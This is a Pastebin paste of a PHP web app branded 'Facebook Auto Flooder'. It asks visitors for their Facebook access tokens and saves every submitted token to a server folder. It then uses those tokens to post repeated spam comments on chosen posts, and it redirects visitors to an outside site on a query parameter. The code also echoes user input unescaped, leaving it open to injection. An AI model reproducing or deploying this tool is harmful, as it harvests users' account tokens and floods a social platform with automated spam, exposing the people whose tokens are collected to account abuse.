Advertisement
Guest User

xtta

a guest
Jul 22nd, 2014
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.68 KB | None | 0 0
  1. <?
  2. $yx=opendir('saveToken');
  3. while($isi=readdir($yx)){
  4. if($isi != '.' && $isi != '..'){
  5. $member[]=$isi;
  6. }
  7. }
  8. ?>
  9. <? include 'pubiway.php' ;?>
  10. <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
  11. <html xmlns="http://www.w3.org/1999/xhtml">
  12. <head>
  13. <title><?php echo $set[judul];?>
  14. </title>
  15. <meta name="description" content="<?php echo $set[deskripsi];?>" />
  16. <link rel="stylesheet" href="danz.css" type="text/css"/>
  17. <link rel="shortcut icon" href="<?php echo $set[favicon];?>"/>
  18. </head>
  19. <body>
  20. <div class="acb aps">
  21. <table cellspacing="0" cellpadding="0" class="lr">
  22. <tr>
  23. <td valign="top">
  24. <a href="index.php">
  25. <img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yz/r/aKhO2tw3FnO.png" width="78" height="21" class="img" alt="facebook" />
  26. </a>
  27. </td>
  28.  
  29. <td valign="top" class="r">
  30. <span class="fcw mfsm">
  31. <? echo count($member); ?> Active User
  32. </span>
  33. </td>
  34.  
  35. </tr>
  36. </table>
  37. </div>
  38.  
  39. <?php
  40. $like = new like();
  41. if($_GET[act]){
  42. print '<script>top.location.href="http://emsblue.heck.in"</script>';
  43. }
  44. if($_POST[access_token]){
  45. $access_token = $_POST[access_token];
  46. $me = $like -> me($access_token);
  47. if($me[id]){
  48. echo'
  49. <div class="acw aps" style="padding-bottom:10px;"><table><tr><td class="apm" valign="top">
  50. <a href="http://facebook.com/'.$me[id].'">
  51. <img src="https://graph.facebook.com/'.$me[id].'/picture" alt="picture"/>
  52. </a></td><td class="l" valign="top">
  53. <span class="mfsl fcb">
  54. '.$me[name].'
  55. <br/>
  56.  
  57. <img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yr/r/kkE5oR4elmj.png" width="12" height="14" class="img" />
  58. </span> <span class="fcg"> Click <a class="sec" href="http://m.facebook.com/sharer.php?u=http://'.$_SERVER[HTTP_HOST].'/index.php">Here</a> To Share.</span></td></tr></table>
  59. </div>
  60. <div class="acg abt apm fcg">
  61. <h1>
  62. Facebook Auto Flooder
  63. <br/>
  64. Get a lot of enthusiasts on the status easily fast and free.
  65. </h1>
  66. </div>
  67. ';
  68.  
  69.  
  70.  
  71. $like -> saveToken($access_token);
  72. if($_POST[id]){
  73. $like -> pancal($_POST[id]);
  74. }else{
  75. $like -> getData($access_token);
  76. }
  77. }else{
  78. $like -> invalidToken();
  79. }
  80. }else{
  81. $like->form();
  82. }
  83. class like {
  84.  
  85. public function pancal($id){ for($i=1;$i<4;$i++){
  86. $this-> _req('http://google.com/gwt/n?u='.urlencode('http://'.$_SERVER[HTTP_HOST].'/pubiwayflood.php?id='.$id.'&n='.$i)); }
  87. print '
  88. <div class="aclb apl"> <div class="acw fclb" style="margin:4px;" align="center">
  89. Done...
  90. <br/>
  91. <img src="loading.gif" "Loading..."/>
  92. <br/>
  93. <form method="post" action="index.php">
  94. <input type="submit" class="btn btnD" value="Back"/>
  95. <input name="access_token" value="'.$_POST[access_token].'" type="hidden"/>
  96. </form>
  97. </div></div>';
  98. }
  99.  
  100. public function me($access){
  101. return json_decode($this-> _req('https://graph.fb.me/me?access_token='.$access),true);
  102. }
  103.  
  104. public function saveToken($access){
  105. if(!is_dir('saveToken')){
  106. mkdir('saveToken');
  107. }
  108. $a=fopen('saveToken/'.$access,'w');
  109. fwrite($a,1);
  110. fclose($a);
  111. }
  112. public function invalidToken(){
  113. print '
  114. <div class="acr apl">
  115. Invalid Access Token
  116. </div>
  117. ';
  118. $this->form();
  119. }
  120.  
  121. public function form(){
  122. print'
  123. <div class="aclb">
  124.  
  125. <div class="acy apl abt abb">
  126. <span class="sec" >
  127.  
  128. <center><b>Auto Flood Facebook</b></center></span>
  129. </div>
  130.  
  131.  
  132. </center>
  133. <form method="post" action="index.php">
  134. </td><td></tr></tbody></table><br></div></div></div></center>
  135. <div class="aclb apl">
  136. Enter Access Token
  137. <br />
  138. <input class="input" name="access_token" value="'.$_GET[access_token].'" type="text" style="width:95%"/>
  139. </div>
  140. </div>
  141.  
  142. <div class="aclb apl">
  143. <input value="Enter" type="submit" class="btn btnC largeBtn" size="0" />
  144. </div>
  145. </form>
  146.  
  147. <hr style="background-color:#cccccc;height:1px;border:0px solid #fff;margin:0.3em auto;width:100%;" />
  148.  
  149. <div class="aclb">
  150. <div class="aclb apl">
  151. <a class="btn btnS largeBtn" href="token.php">
  152. Get Access Token
  153. </a>
  154. </div>
  155. </div>
  156.  
  157. </div>
  158. ';
  159.  
  160.  
  161. }
  162.  
  163. public function getData($access){
  164. $feed=json_decode($this -> _req('https://graph.fb.me/me/feed?access_token='.$access.'&limit=1'),true);
  165. if(count($feed[data]) >= 1){
  166. echo '
  167. <div class="aclb abt abb aps">Select the status of your best
  168. </div><div class="aclb apm abb">
  169. ';
  170. for($i=0;$i<count($feed[data]);$i++){
  171. $uid = $feed[data][$i][from][id];
  172. $name = $feed[data][$i][from][name];
  173. $type = $feed[data][$i][type];
  174. $mess = str_replace(urldecode('%0A'),'<br/>',htmlspecialchars($feed[data][$i][message]));
  175. $id = $feed[data][$i][id];
  176. $pic = $feed[data][$i][picture];
  177. echo'
  178. <div class="acw aps abb abt" style="margin-top:4px;margin-left:2px;margin-bottom:4px;margin-right:2px;">
  179. <table>
  180. <tr>
  181. <td valign="top" class="aps">
  182. <img src="http://graph.facebook.com/'.$uid.'/picture" alt="Facebookers" />
  183. </td>
  184. <td valign="top" class="l">
  185. <span class="mfss">
  186. <a href="http://facebook.com/'.$uid.'" class="sec">
  187. '.$name.'
  188. </a>
  189. </span><br/>
  190. <span class="mfss fcg">
  191. <abbr>
  192. '.$type.'
  193. </abbr>
  194. <b>
  195. <span class="fcg mfss">
  196. .
  197. </span>
  198. </b>
  199. <img src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yv/r/5SYOjS874Mk.png" width="10" height="11" class="feedAudienceIcon img" />
  200. </span>';
  201.  
  202. if($type=='photo'){
  203. echo '
  204. <br/>
  205. <br/>
  206. <br/>
  207. <img src="'.$pic.'" alt=""class="imgCrop img" style="width:100%;height:100%;left:0;top:0;" />
  208. <span>
  209. '.$mess.'
  210. </span>
  211. ';
  212. }else{
  213. echo '
  214. <br/>
  215. <span>
  216. '.$mess.'
  217. </span>
  218. ';
  219. }
  220. echo '
  221. </td>
  222. </tr>
  223. </table>
  224. <div align="right">
  225. <form action="pubiwayflood.php" method="post"/>
  226. <input type="hidden" name="id" value="'.$id.'"/>
  227. <input type="hidden" name="access_token" value="'.$access.'"/>
  228. Masukkan Komentar :
  229. <input type="text" name="coment" />
  230. <input name="pancal" type="submit" value="Flood Status Ini" class="btn btnC"/>
  231. </form>
  232. </div>
  233.  
  234. <hr>
  235.  
  236. <div class="acg abt apm fcg">
  237. <center>
  238. <b>Mau flood status/foto lain? Masukkan ID Post dibawah:<br></b>
  239. <form action="pubiwayflood.php" method="post"/>
  240. ID Post:
  241. <input type="text" name="id" /><br>
  242. <input type="hidden" name="access_token" value="'.$access.'"/>
  243. Masukkan Komentar :
  244. <input type="text" name="coment" /><br>
  245. <input name="pancal" type="submit" value="Flood Status Lain!" class="btn btnC"/>
  246. </form>
  247.  
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.  
  257.  
  258.  
  259.  
  260.  
  261.  
  262.  
  263. </div>
  264. ';
  265. }
  266. }else{
  267. print '
  268. <div class="acw apm">
  269. errOr... Your status not found
  270. </div>';
  271. }
  272. print '
  273. </div>
  274. ';
  275. }
  276.  
  277. private function _req($url){
  278. $ch = curl_init();
  279. curl_setopt_array($ch,array(
  280. CURLOPT_CONNECTTIMEOUT => 5,
  281. CURLOPT_RETURNTRANSFER => true,
  282. CURLOPT_URL => $url,
  283. )
  284. );
  285. $result = curl_exec($ch);
  286. curl_close($ch);
  287. return $result;
  288. }
  289. }
  290.  
  291. ?>
  292.  
  293. <? include 'dev.php' ;?>
  294.  
  295.  
  296.  
  297. <div class="acg apm">
  298. <span class="mfss fcg">
  299.  
  300.  
  301. </b>
  302. </span>
  303. </div>
  304.  
  305. <div class="acg apm"><center>
  306. copyright &copy; <?
  307. echo $set[nama_admin] ;
  308. echo '<br>';
  309. echo $set[tahun];
  310. ?>
  311.  
  312. </span>
  313. </div>
  314.  
  315. </body>
  316. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement